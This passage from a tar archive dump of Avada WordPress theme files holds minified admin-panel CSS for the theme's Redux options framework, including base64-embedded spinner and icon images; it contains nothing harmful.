scroll; } /* Retina-ize icons */ @media only screen and (-webkit-min-device-pixel-ratio: 1.5), only screen and (min-resolution: 2dppx) { .select3-search input, .select3-search-choice-close, .select3-container .select3-choice abbr, .select3-container .select3-choice .select3-arrow b { background-image: url('select3x2.png') !important; background-repeat: no-repeat !important; background-size: 60px 40px !important; } .select3-search input { background-position: 100% -21px !important; } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/fusionredux-admin.css000064400000510575152342437710025407 0ustar00.spinner{visibility:hidden;display:block}.spinner.is-active{visibility:visible}.fusionredux-main .description{margin-top:7px}.form-table > tbody > tr > th{width:30%}.fusionredux-container{background-color:#f5f5f5;background-repeat:repeat-x;background-image:-moz-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f2f2f2), color-stop(100%, #f5f5f5));background-image:-webkit-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);background-image:-ms-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);background-image:-o-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#f5f5f5", endColorstr="#eeeeee", GradientType=0);background-image:-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);border:1px solid #dedede;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.04);box-shadow:0 1px 1px rgba(0,0,0,.04);-moz-box-shadow:0 1px 5px rgba(0,0,0,.4);margin-top:5px;overflow:hidden}.fusionredux-container a:focus{box-shadow:none}.fusionredux-container #fusionredux-header,.fusionredux-container #fusionredux-footer{text-align:right;padding:6px 10px}.fusionredux-container #fusionredux-header{background:#f1f1f1;border-bottom:3px solid blue}.fusionredux-container #fusionredux-header .display_header{float:left;margin:20px 10px}.fusionredux-container #fusionredux-header .display_header h2{display:inline-block;font-style:normal;padding-right:5px}.fusionredux-container #fusionredux-header .display_header .fusionredux-dev-mode-notice-container{position:absolute;top:67px;left:20px;bottom:auto;width:auto}.fusionredux-container #fusionredux-header .display_header span{color:#888}.fusionredux-container #fusionredux-header .display_header span.fusionredux-dev-mode-notice{background-color:#f0ad4e;display:inline;padding:.2em .5em .2em;font-weight:700;line-height:1;color:#fff !important;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}.fusionredux-container #fusionredux-header .icon32{float:right;margin:16px 16px 0}.fusionredux-container #fusionredux-footer{border-top:1px solid #e7e7e7;z-index:999}.fusionredux-container #fusionredux-footer #fusionredux-share{float:left;line-height:28px;font-size:15px}.fusionredux-container #fusionredux-footer #fusionredux-share a{text-decoration:none;margin-right:10px}.fusionredux-container #fusionredux-footer #fusionredux-share a img{margin-bottom:-3px}.fusionredux-container .notice-green{margin:0;border-bottom:1px solid #e7e7e7;background-color:#dff0d8;color:#468847;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,.5)}.fusionredux-container .notice-blue{margin:0;border-bottom:1px solid #bce8f1;background-color:#d9edf7;color:#3a87ad;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,.5)}.fusionredux-container .notice-yellow{margin:0;border-bottom:1px solid #e7e7e7;background-color:#fcf8e3;color:#c09853;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,.5)}.fusionredux-container .notice-red,.fusionredux-container .fusionredux-field-errors{margin:0;border-bottom:1px solid #e7e7e7;background-color:#f2dede;color:#b94a48;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,.5)}.fusionredux-container .fusionredux-field-error input,.fusionredux-container .fusionredux-field-error textarea,.fusionredux-container .fusionredux-field-error checkbox{background-color:#fff6f6;color:#a00}.fusionredux-container .fusionredux-field-warning input,.fusionredux-container .fusionredux-field-warning textarea,.fusionredux-container .fusionredux-field-warning checkbox{background-color:#fcf8e3;color:#444}.fusionredux-container .fusionredux-field-errors,.fusionredux-container .fusionredux-field-warnings,.fusionredux-container .fusionredux-save-warn{display:none}.fusionredux-container .sticky-save-warn{min-height:76px}.fusionredux-container .sticky-save-warn .fusionredux-save-warn{position:fixed;top:32px;right:21px;left:183px;opacity:1;z-index:9999}.fusionredux-container #info_bar{background:#f3f3f3;border-bottom:1px solid #dedede;padding:6px 10px 6px 6px;text-align:right;-moz-box-shadow:inset 0 1px 0 #fcfcfc;-webkit-box-shadow:inset 0 1px 0 #fcfcfc;box-shadow:inset 0 1px 0 #fcfcfc}.fusionredux-container .fusionredux-group-tab{display:none;margin-bottom:15px}.fusionredux-container .fusionredux-group-tab .fusionredux-theme-data{padding:20px 0;border-top:1px solid #e7e7e7}.fusionredux-container .fusionredux-group-tab .fusionredux-theme-data.theme-description{padding:10px 0;border-width:0}.fusionredux-container .fusionredux-group-tab .fusionredux-theme-data.theme-uri,.fusionredux-container .fusionredux-group-tab .fusionredux-theme-data.theme-author,.fusionredux-container .fusionredux-group-tab .fusionredux-theme-data.theme-version{padding:0;border-width:0}.fusionredux-container .fusionredux-group-tab h3{margin-top:0;line-height:2em;border-bottom:1px solid #e7e7e7}.fusionredux-container .fusionredux-group-tab .fusionredux-section-desc{margin-bottom:15px;color:#666}.fusionredux-container .fusionredux-action_bar{float:right}.fusionredux-container .fusionredux-action_bar .spinner{float:left;margin-top:4px}.fusionredux-container .fusionredux-ajax-loading{display:none;background:red url(data:image/gif;base64,R0lGODlhEAAQAPUAAIiIiIqKio2NjZSUlJqamp6enqKioqSkpK+vr7i4uL+/v8PDw8XFxcnJyc/Pz9HR0dTU1NjY2Nzc3OLi4ubm5unp6ezs7PPz88vLy83NzdDQ0NXV1d3d3eHh4bu7u8zMzOvr6+3t7ZiYmNbW1sDAwMTExNra2s7OztPT09vb2+Xl5QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/i1NYWRlIGJ5IEtyYXNpbWlyYSBOZWpjaGV2YSAod3d3LmxvYWRpbmZvLm5ldCkAIfkEAAoA/wAsAAAAABAAEAAABXDgJY6XZZEoOTnOlI5WdUFNA5UnSR3FJNUSieFAIUUEgcdl4noEBBGSZaHIiSqKhTX2GhVFiQGjuxgkSoYAoosAGE6RhKQrUURHlS+pItMVCHMjEgQ9JBJISg+JT3ciFg4NFkcCNw0OViiDgF0oTC8hACH5BAAKAP8ALAAAAAAQABAAAAVx4CWOZGle1qJYp2hV1xYE29V1JXUYHWUcnQgGwyFFBAENiqUZ1kapFamTyeBcsNOLMkoMGC3GIIEyBBAtRMDAiiSKp04iQqpwc9kRpUCAizgEBVciEQNJFxpKGgECdFAYYBsCAjUMGS0XgAODmDacIyEAIfkEAAoA/wAsAAAAABAAEAAABnbAi3BILBovIMUidBSGQJdNIKBBMomUg6FDMRgoHcOBQowIqNaLJiCIEEMLxdWpnIfITRAHnxgwjiEfDR8UIQYBCEcgDYwdUR6ORxEfG3MgeFiFRB0FBBxEHAQFkUJmaBofamxuRB9/GwICGxeMTRehnrabpERBACH5BAAKAP8ALAAAAAAQABAAAAZ9wItwSCwaL5aFwnIUWiqXUSAwulSYRMrB0KEYDJSO4UAhRgQBDZLpCAgixOSSWFEssEho81IWJgYMTQwDCUgGAQhNCAEGTCMJHU0dCXBDFX1DFhwdeHwFIhxmGBihQxEDaRcOGhYao1WZGIFnAiMUDg6YRR0ioE57Fx2RRkEAIfkEAAoA/wAsAAAAABAAEAAABXLgJY5kaV7WolinaLGQEEBXxZLUUUyUYVATw4FCisg0NZYmIIiQUosKqaJY3FDS1oUoSgwYrcUggTIAEC1EwMCKJCatSYI2qnBx2dGkQOCQOAQFdxdGARoVGhCITE4kGBgWEI8QFgwYWhGTWiMWERFXIyEAIfkEAAoA/wAsAAAAABAAEAAABn/Ai3BILBovloXCchRaKpdRIDC6VJhEysHQoRgMlI7hQCFGBAENkukICCLE5JJYUSywSGjzUhYmBgxNDAMJSAYBCE0IAAZMEQkdTRwKVUMcHHhCFXpDERgYcJYEBZFDI58aFhoOFxpuoUIUGhoUZwJVGA6ZaxccBAQce0QdpUVBACH5BAAKAP8ALAAAAAAQABAAAAZ8wItwSCwaLyEFKXQUhioXSCAAuVSYRMrB0KEYDJSO4UAhmgQBDZKpCQhMxFBJgRVWlFkOtElhUj4NH3VEJQMJFx0NintFCAEGISEQH3BHHR5VThVlRRSMQh0FBBxEHAQFnEJnaRcfHxdtb0WKIWcCVSUNTYgEo7tEHR1HQQAh+QQACgD/ACwAAAAAEAAQAAAGdcCLcEgsGi8hhSJ0FHY6l1EgMLqAmEROo5HqGAwqL5g42qKsoAsqIEgRVacTdAhSLLBI1bWpwiYGDE0MAwlIBgEITQgBBkwjCRxNHQlVdCpGekUqBQSRQxwEBZdDKQIBZ3FqbG5EDYEjpikhW3hFoJ1NRU9HQQA7) no-repeat;width:16px;height:16px;margin:3px 4px 0;float:right}.fusionredux-container #fusionredux-intro-text{background:#f3f3f3;border-bottom:1px solid #dedede;-moz-box-shadow:inset 0 1px 0 #fcfcfc;-webkit-box-shadow:inset 0 1px 0 #fcfcfc;box-shadow:inset 0 1px 0 #fcfcfc;padding:3px;padding:10px 10px}.fusionredux-container #fusionredux-intro-text p{margin:0;color:#888}.fusionredux-container .expand_options{cursor:pointer;display:block;height:22px;width:21px;float:left;font-size:0;text-indent:-9999px;margin:1px 0 0 5px;border:1px solid #bbb;-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAyCAIAAAAm4OfBAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQhJREFUeNrslT0KhDAQhTeLR7ATT6IXSKGFYO0lciFrO1N4AU8TLNXKv0CaJbLJRAZxl1hYyJuXN+PoR/Z9fyFdBNNr27Zf8Oq6bhgGSGUYhpTSzyeBNi8hRFVVEK+6rrXaQFOs6yrvTdOYjcqyVEpTLqXI89yaSypBudq2xckF2TipOSvfmmhZFuAGnJV6Licvey5gj7fnwpwXvEfLfqnT0jQ1OBJCQLnUBvZ9b85VFAV076UU8g1ZckVRxBiDzD6OY62WzPOM9i+cpunvvcZxfCQfPWs9a91Ym2UZ5xyHtd/e8hXWng+/zlrD9jmz1tDj7bkw5wXv0Y210itJEs9az9oHsPYQYACveK0/IuB51AAAAABJRU5ErkJggg==) no-repeat -2px -26px}.fusionredux-container .expand_options.expanded{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAyCAIAAAAm4OfBAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQhJREFUeNrslT0KhDAQhTeLR7ATT6IXSKGFYO0lciFrO1N4AU8TLNXKv0CaJbLJRAZxl1hYyJuXN+PoR/Z9fyFdBNNr27Zf8Oq6bhgGSGUYhpTSzyeBNi8hRFVVEK+6rrXaQFOs6yrvTdOYjcqyVEpTLqXI89yaSypBudq2xckF2TipOSvfmmhZFuAGnJV6Licvey5gj7fnwpwXvEfLfqnT0jQ1OBJCQLnUBvZ9b85VFAV076UU8g1ZckVRxBiDzD6OY62WzPOM9i+cpunvvcZxfCQfPWs9a91Ym2UZ5xyHtd/e8hXWng+/zlrD9jmz1tDj7bkw5wXv0Y210itJEs9az9oHsPYQYACveK0/IuB51AAAAABJRU5ErkJggg==) no-repeat -2px -1px}.fusionredux-container .expand_options:hover{border-color:#888}.fusionredux-container .sticky-footer-fixed{background:#f3f3f3;border-top:1px solid #dedede !important;-moz-box-shadow:inset 0 1px 0 #fcfcfc;-webkit-box-shadow:inset 0 1px 0 #fcfcfc;box-shadow:inset 0 1px 0 #fcfcfc}.fusionredux-container .fusionredux-sidebar,.fusionredux-container .fusionredux-main{min-height:300px}.no-js{border:1px solid #ffbaba;margin:0;border-bottom:1px solid #e7e7e7;background-color:#f2dede;color:#b94a48;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,.5)}.fusionredux-main{background:#fcfcfc;margin-left:201px;border-left:1px solid #d8d8d8;padding:10px 20px;-moz-box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;position:relative}.fusionredux-main #fusionredux_ajax_overlay{position:absolute;top:0;left:0;right:0;bottom:0;-moz-opacity:.1;-khtml-opacity:.1;opacity:.1;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=10);filter:alpha(opacity=10);background:#000;z-index:200;display:none}.fusionredux-main .form-table.no-border{border-top:none}.fusionredux-main .form-table tr{border-bottom:1px solid #e7e7e7}.fusionredux-main .form-table tr:last-child{border-bottom:none !important}.fusionredux-main .form-table tr th,.fusionredux-main .form-table tr td{color:#333}.fusionredux-main .form-table tr td table.mceLayout,.fusionredux-main .form-table tr td table.mceLayout tr,.fusionredux-main .form-table tr td table.mceLayout tr td{padding:0;border-width:0}.fusionredux-main .form-table tr td .fusionredux-th-warning{font-size:1em;color:#c09853;font-weight:normal;display:block;margin-top:10px}.fusionredux-main .form-table tr td .fusionredux-field-warning{border-color:#c09853;margin-top:10px}.fusionredux-main .form-table tr td .fusionredux-th-error{font-size:1em;color:#b94a48;font-weight:normal;display:block;margin-top:10px}.fusionredux-main input.large-text{width:100%}.fusionredux-main .hide{display:none}.fusionredux-main .fusionredux-field-container{padding:20px 0}.fusionredux-main .mini,.fusionredux-main input[type=text].mini{width:60px;text-align:center}.fusionredux-main input{line-height:19px}.fusionredux-main img{max-width:100%;height:auto;width:auto !important}.fusionredux-main .select3-default{width:auto !important}.fusionredux-main .showDefaults{display:block;font-weight:normal;font-size:.8em;color:#888}.fusionredux-main span.description{display:block;font-style:normal;font-weight:400;line-height:1.5}.fusionredux-main #fusionredux-system-info textarea{min-height:730px;width:100%}.fusionredux-main .field-desc{clear:both;font-size:13px}.fusionredux-main .data-full li{width:100%}.fusionredux-main .data-half li{width:50%;float:left}.fusionredux-main .data-third li{width:33.3%;float:left}.fusionredux-main .data-quarter li{width:25%;float:left}.fusionredux-main .ui-helper-hidden-accessible{top:inherit}.fusionredux-main .form-table{clear:none;margin-top:0 !important}.fusionredux-main .form-table tr:first-child th,.fusionredux-main .form-table tr:first-child td{padding-top:0}.fusionredux-main .input-append input{border-right:0;margin-bottom:0;border-top-right-radius:0;border-bottom-right-radius:0;margin-right:0;float:left;margin-top:0;display:block}.fusionredux-main .input-append .add-on{border-top-right-radius:3px;border-bottom-right-radius:3px;margin-left:-2px;padding-top:4px !important;padding-bottom:2px !important}.fusionredux-main .input-prepend input{border-left:0;margin-bottom:0;border-top-left-radius:0;border-bottom-left-radius:0;margin-left:0;padding-top:2px;padding-bottom:5px;float:left;margin-top:0;display:block}.fusionredux-main .input-prepend .add-on{border-top-left-radius:3px;border-bottom-left-radius:3px;float:left}.fusionredux-main .input-append{margin-right:10px;font-size:0;white-space:nowrap;float:left;display:inline-block;margin-bottom:6px}.fusionredux-main .input-append .add-on,.fusionredux-main .input-prepend .add-on{width:auto;display:inline-block;min-width:16px;padding:3px 4px;font-size:12px;font-weight:400;line-height:20px;text-align:center;text-shadow:0 1px 0 #fff;background-color:#eee;border:1px solid #ccc}.fusionredux-main .input-prepend{font-size:0;white-space:nowrap;float:left;display:inline-block;margin-bottom:6px}.fusionredux-sidebar{width:202px;float:left}.fusionredux-sidebar .fusionredux-group-menu{margin-top:0 !important}.fusionredux-sidebar .fusionredux-group-menu li{margin-top:0}.fusionredux-sidebar .fusionredux-group-menu li.active a,.fusionredux-sidebar .fusionredux-group-menu li.active a:hover,.fusionredux-sidebar .fusionredux-group-menu li.activeChild a,.fusionredux-sidebar .fusionredux-group-menu li.activeChild a:hover{background:#fcfcfc;color:#269ad6;width:184px;opacity:1}.fusionredux-sidebar .fusionredux-group-menu li.active a li a{background:#333;padding-left:5px}.fusionredux-sidebar .fusionredux-group-menu li.divide{padding:0;border-width:1px 0;border-style:solid;border-bottom-color:#e7e7e7;border-top-color:#f9f9f9}.fusionredux-sidebar .fusionredux-group-menu li a:first-child{border-top:none}.fusionredux-sidebar .fusionredux-group-menu li a{display:block;padding:10px 4px 10px 14px;background:#e0e0e0;background:transparent;border-width:1px 0;border-style:solid;border-bottom-color:#e7e7e7;border-top-color:#f9f9f9;opacity:.7;color:#555;font-weight:600;text-decoration:none;-webkit-transition:none;transition:none}.fusionredux-sidebar .fusionredux-group-menu li a.custom-tab{background:#f6f6f6}.fusionredux-sidebar .fusionredux-group-menu li a img{width:16px;height:16px;position:absolute;left:15px}.fusionredux-sidebar .fusionredux-group-menu li a:hover{background:#e5e5e5;color:#777;opacity:1}.fusionredux-sidebar .fusionredux-menu-warning,.fusionredux-sidebar .fusionredux-menu-error,.fusionredux-sidebar .hasSubSections .extraIconSubsections{display:inline-block;float:right;padding:6px 7px 4px 7px;margin-left:4px;font-size:9px;font-weight:600;line-height:9px;border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent}.fusionredux-sidebar .fusionredux-menu-warning i,.fusionredux-sidebar .fusionredux-menu-error i,.fusionredux-sidebar .hasSubSections .extraIconSubsections i{margin-left:-3px;margin-top:-3px}.fusionredux-sidebar .fusionredux-menu-error{background-color:#b94a48;color:#f2dede}.fusionredux-sidebar .fusionredux-menu-warning{background-color:#c09853;color:#fcf8e3}.fusionredux-sidebar ul .subsection{display:none}.fusionredux-sidebar .fusionredux-group-tab-link-a{position:relative;outline:0}.fusionredux-sidebar .fusionredux-group-tab-link-a i{vertical-align:middle;font-size:1.35em;position:absolute}.fusionredux-sidebar .fusionredux-group-tab-link-a span{display:block}.fusionredux-sidebar .fusionredux-group-tab-link-a span.group_title{padding-left:30px}.fusionredux-sidebar .fusionredux-group-tab-link-li a.hasError span.group_title{padding-right:25px}.fusionredux-sidebar #fusionredux-header{text-align:center}.fusionredux-sidebar #fusionredux-header .display_header{float:none}.form-table th,.form-table td{margin:0;padding:0;width:auto}.fusionredux_field_th{font-weight:600;padding:20px 10px 20px 0;display:block}.fusionredux_field_th span:first-child{font-weight:normal;display:block;color:#666}.farb-popup-wrapper{position:relative;display:block}.farb-popup{position:absolute;left:40px;top:40px;background-color:#fff;border:1px solid #222;padding:5px;z-index:100}#ui-datepicker-div{display:none}.mp6 .icon-themes{display:none}.mp6 .fusionredux-container #info_bar{padding:6px 10px 6px 6px}.mp6 .fusionredux-container #info_bar a{margin-top:2px}.fusionredux-timer{text-align:center;font-size:10px;color:#888}.wrap{margin-top:0}@media screen and (max-width: 600px){.fusionredux-sidebar{width:44px}.fusionredux-sidebar .extraIconSubsections{display:none !important}.fusionredux-sidebar .fusionredux-group-menu li a,.fusionredux-sidebar .fusionredux-group-menu li a:hover,.fusionredux-sidebar .fusionredux-group-menu li.active a,.fusionredux-sidebar .fusionredux-group-menu li.active a:hover,.fusionredux-sidebar .fusionredux-group-menu li.activeChild a,.fusionredux-sidebar .fusionredux-group-menu li.activeChild a:hover{width:auto}.fusionredux-sidebar .fusionredux-group-tab-link-a{position:relative}.fusionredux-sidebar .fusionredux-group-tab-link-a i{position:inherit}.fusionredux-sidebar .fusionredux-group-tab-link-a span{display:none;position:absolute;top:0;left:44px;padding:12px;width:200px;background:#eee;border:1px solid #ccc;-webkit-box-shadow:2px 2px 8px rgba(0,0,0,.2);-moz-box-shadow:2px 2px 8px rgba(0,0,0,.2);box-shadow:2px 2px 8px rgba(0,0,0,.2);border-width:1px 1px 1px 0;z-index:3}.fusionredux-sidebar .fusionredux-group-tab-link-a:hover > span{display:block}.fusionredux-main{margin-left:43px;width:auto;max-width:100%}table.form-table,.form-table > thead,.form-table > tbody,.form-table > tbody > tr > th,.form-table > tbody > tr > td,.form-table > tbody > tr{display:block;width:100% !important;padding:0 !important}.form-table > tbody > tr > th,.form-table > tbody > tr > td{padding:10px !important}.form-table > tbody > tr > th,.form-table > tbody > tr > td{padding:10px !important}}@media screen and (max-width: 782px){.form-table > tbody > tr > th{width:100%}.fusionredux_field_th{padding-bottom:0}.mp6 .fusionredux-container #info_bar{height:auto;padding-bottom:1px}.mp6 .fusionredux-container #info_bar a{margin-top:5px}.fusionredux-container-switch label{padding:5px 10px !important}.fusionredux-container-button_set label{padding:12px 10px}.fusionredux-container #fusionredux-footer #fusionredux-share{line-height:34px}}pre{overflow:hidden}#fusionredux-header h2{color:#fff}.admin-color-fresh .button.ui-datepicker-current,.admin-color-fresh button.ui-datepicker-close,.wp-customizer .button.ui-datepicker-current,.wp-customizer button.ui-datepicker-close{background-color:#007db9 !important}.admin-color-fresh .ui-datepicker-buttonpane button.ui-datepicker-current,.wp-customizer .ui-datepicker-buttonpane button.ui-datepicker-current{background:#1e8cbe !important;color:#fff !important;border:1px solid #104b66 !important}.admin-color-fresh .ui-datepicker-header .ui-icon,.wp-customizer .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAADwCAMAAADYSUr5AAAA7VBMVEX8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vywC3+8AAAATnRSTlMAGBAyBAhQv4OZLiJUcEBmYBoSzQwgPBZCSEoeWiYwUiyFNIeBw2rJz8c4RBy9uXyrtaWNqa2zKP2fJO8KBgKPo2KVoa9s351GPm5+kWho0kj9AAAPhUlEQVR4nO1djWLbthEGyUiq5YSSLXtp7FpLOmfzkmxr126tmi2p03RJ1/Xe/3EGgARxPyAgRbIk2/hkSz4CJO4+HsE7AJSVysjI2AMUUOxahZ2iANhzBtZWr4BoIRSYAVN5u4QwDwQDRbcwfUi5KS3wFuDmFnQLa4Dtb//cqktwD5QEFFwfUs7PoCCA7y4bEJVFizcIob8KmhAplwwqVjt+9FBl3uINQniwEiryEyw9JHqGpQdEFNi+B4QQ7QOiHhysIPoAxUqxvdvvA9K42bsAv4S2fxfYOe57IJSRkZGRkZGxx7jxSHDHcRBXQMTyIjInBgHwBJ/bEx8PEANC+uhbpSSggCBAVODVabpI1S/k4WLZpTn6NpMhoX9Y40hxYERFpMcqUs4AloCtDQdID1YhnyXZ2hLjAYWiO9Dy1PDB7tPhIqLx+uMB8grZaR+Qxl2/C2RkZGRkZGRk7A7rBf7J0DR5/LUTjzUPIPSPGvQJiVJiB7kcQCiUOJrcFNtDZIf2xarQ3aGvLNxAVIFAabz90BFiBIlycTBhgWwOWCH0FLYHlPqwHaCvcIn2ZbosCevfPTRiFFcgvHukCjWwrc3GrGh1fsAof8EaUReKXkCB4/MzFNo97qLpFiKFYv/kNR5YQxQbQEofkZ2OuEOHqqT6gFTpru8CN7x/+jaZkZGRkZGRcV+x/rLUNcMMqUAscgnFocmpqkTzqymwVAPxfJ5PnIUUQOUKT04tEdWZyv3JCQSn96WS4pD97QfyW25A7NhSAbyhmVj0FEltA4vdiygBibXhoUYgykCUP7HwPTDeEqAIcHVMkZg7Zx4k0uFANs63hPQXCoRLAwdgGsr9Az7Qv7sgQGgg1aPl/BJLExBWgG4RFRLFImGmIquPC/klEGyCG0AuAXaJJC+B8FVe9NYQDEcXB8g6AQcjYJ1goJIggHWCrFR0S6kRHN5+4BzFi8NaoN35NRxUvL+JJdZr7PV4wK6fj8nIyMjIyNhr3OxdXAYq7FHZwB6bDSzSh4sF0utChqo0NAvaT1hLzXwFinmCzmeDucEQK18TTaQoFgP7bNC+RZ4OT4T6gQogDFYk+1QxQlj19QGSAWKiLYp8P0Ag1Gbz1ULfWHLg9iUnQNK5QQJcukm04blKLH2GgEJCY+HzXAZWCvHKco3Bp6MIaCjSXXRJyOxeqhnzEaF93MfFGW/O16ZvDL5TM4MJIjujz/cHypkQuuzRwWJ93BKdIt+wCRAPl9kpe2Ikkb2mFgGlxh/i40d3EHfdvoyMjIyMu43ylt/IAmGHnN5iIt7wKfbv01RAcJqFRl9lcjYQSnbQqKgC4fYOwSJt6N6trE0twZ9kN/PqNpTQeICvr4TLsDYC06U7BMjshS+v1/aT7IwQYD5LcgRQXMT2FrBfBLjZ6151jDElk9tPFfpUgk2yregusX25BJbwAFEfM+YI6vGAti4bTtizB+TjfQCrERyhKb2X8D6A9wX75P4t4neBYJeP6pdhg/gQl8MWvytzeSTjgOQBynQdh/iXKdxOrGJ/RkZGRsb9QmXihGr5+g8GGg9uTh+KoVZuNIzV+CwRucFBEyr1mVjx4irOxwM1BhirB6Q+2eNQi4eqR+aF6mELtoMzCR7V9RAFe/ZvQogNiyY8FPSUTFsLp8TeTmMui5mtw7bcaT0Yw2AA4wFRQIlkgq+1DQrNhkmoxS5Jq+u6bMAIGRECEANgXHTgWzwgBOhDH2l0oTQ4D8D5NMktBgNywAEMjo8rwATMZrPY7JGxBoJCkIBDQiAY09EGTUiBCWkUpISfGPR5AAwBfZiG2z7Ayc1yeKTxid39xBNwfHr4O0LA48ePFTvhYrF1r4tyAoz9n2MCqEuBtp/6GDR0oAYfG/R6wJExHYZHfhygsv7fEWCOj4bYmsP5A+pL4MkTfAnMlD4F+r3bobKvTyTA2P/w7PN+Agq2QW8piqMCpTBwenoKvX0AHGkGtP2YAPvTEWA7QUTAudn7/NxtOG46wWNmDtpBEkBzN7rBEvAFHp+YTB/q97qPAN4gHFqgBi8uLsC7qPCA6mg41G/+ErByPwEXDdoNxRhOx+M5jPEzQugS0ht+b1/Y3gEnYMAIAOIBE29/hIDucE8tmMsNOgK4B1RHFu4UCRlMHzv0xzcajcfdXWDs2h8TArBCkoDUJYDLmz6w7ip3BFS0ve5wTRwAn6keMA9I3QYbfSZ0DKbyt+7OXjGI1idPcfNyAyfAMlCrzaGqphYrxHocLHRJVycnfGUcbtT+jIyMjIw9x7Nn8fJSzG0TmFtO8rZT+XT3S3ub+tKJbbLd5diTVp50+zahyeHSslJ/YPrU0fuazrZO2CZ92/ZCCVXlGRiZKPJyPPRxyIFWeXLQBXJBKiq/3divEAN6ZwM200Qjm7EJBZeWm/PRWVCbYK7s7u2l4XaCz+lzgOfMfhMonXr7TWzeZb98dbgIzBT8Ub8eYYUqfZ4rVJ/MDbIDgPqTulJ/xvntWAtjIisqnwxOkGz0n077FARoY79GdA6HPE4rOy196NiMWHTZlSSApcOgXpy/fHV2joaNKu3ffsAnRcBf4K/6NcIG6tIxk3HyoXPjASqfUgXbYN5PzpL2njkR9QMjeDTVHDTCgRuxOegjoO0FvKzP/t/gmVdI24+G7NIe8JX6Wv3dDyldMA+4YB5wwTygtd+dwRqaTqrLb1l73zTSN52CNpnHuQOYPsDblybgxfkXh/oVtr+N1DEBJdhRJyd/Bd/q1z+cbNrD17iVKyajcnv9arhOkRPgsruuD6DmNPwpDNrLw2CoTgHni4yALr0L29+tiKAEIPn868ejx//8rpWP3OEOl5On9OwpcQm0MhafP/ey8f1uvDNIgGLQG8z4YO99ENgg95etwv4uYJYY8fUGHYH6j6fscHFZMftlAl9i+9XL73X3N/n+ZStOzfVfRvYXhrbdKOpEgVQTg/wsDuDD3kwOfQNMTJ5y+/ltUDWLunyxnRF46IqlBzGMY4X7inggREFioIyMjIyMHWCIB6ZNKAcXseo3vLTQTkVE7348dlwJJSz0+wLfmi8BhZqfw3D4ww/wHVLnEd5/fgYvXsDZ3MlsvYUbbnDjDZ3MN3TJG4+bxjAaDl8TBri9qxEw1ccao2wTNAMLHo2f+sjrXwb/9qHoYqgPMBXJTVfOpmrZH23y6uvo0LHSyY6fHGwKfHJlAuMFvObjDYrIqxBgQi20h7Hd/nYVLmno+eaNUm/eeH2GCuopntnhBJAlI2AHo9CCh1I1QxUdAbqqGY9BBLwyc3W4wYVhvY8A4BoIc1l5M7vnPWphZW9/Ses3n37y9a0uGqFwFQZsQQbd386DogpgEk+dzynsAZMJXq8+ns9NeukJ0PYrNATGGefJQlhkLo7DTXr+y3bNiOsDvrXTz/C2q1DXZH84iRNwrP88Nj+u2DjYEE6RBxD9Knj16ujVHC67A7422o02RwD3gB+t7EblWvu9geOFxSnd3ROmT+nJyQkhoPlsxVONc/3TEdBos+jtA+ZzcwHgTvD1cDjaYCcItA8w9i88A8b+mqSjc6Pvqd998QguEQPmQMeo23ODN86+p0/bn1buBkT6+oBhNZ/PYY4ZAHYb3PRd4LkZmPX68NRtMZn4ASvdA+qf0jMA5MP9eeg28Nug9QiLnj5A33U1MAES6xHAUNpz/9zFAYE1gqQDMT3G6xI9pwdw/aIgKoHCS1YGlRnSq9yCjdXjgN3j+N27YyROHxmuNAeNKPpYuXIyIyMjYy0M8eros59MF/PT2c602T7eA7zvhJ9dr/vzDjXaLp4Yc5+0wllzxzHv3gdmMMM7/CcQzKgVBqYTmFn+Z+mKm8J7k0A5F/jgCfjQ1WBhQyiOqD0lYuqBb+AyzMw9Ha2G3m6c8qQx+AlqnIceQp+Sb6i9UyQWbhr54+AjnZ0VzW2TAN0DmBT6PWmc6jDBE2PK2u+nF43dyP7Q0t1pOcX2fdRvH0mF2Q4JqN35rnHjVIeaXfIAVyUuw/aHCCiJy9iF5l1621zweI8KZrPZ9iJdb7DXJ3US0OSrtZ10imt7wHY7QesAzUMz1oZ3noB3qFJ/H18j97FYuw8QDN4oeKf30osvcSW2ExLo+VcbuAuo/sUIm8fMG9xocO3Ea19J9gFYivnHJ2KnyfovZlgW3v6ySx32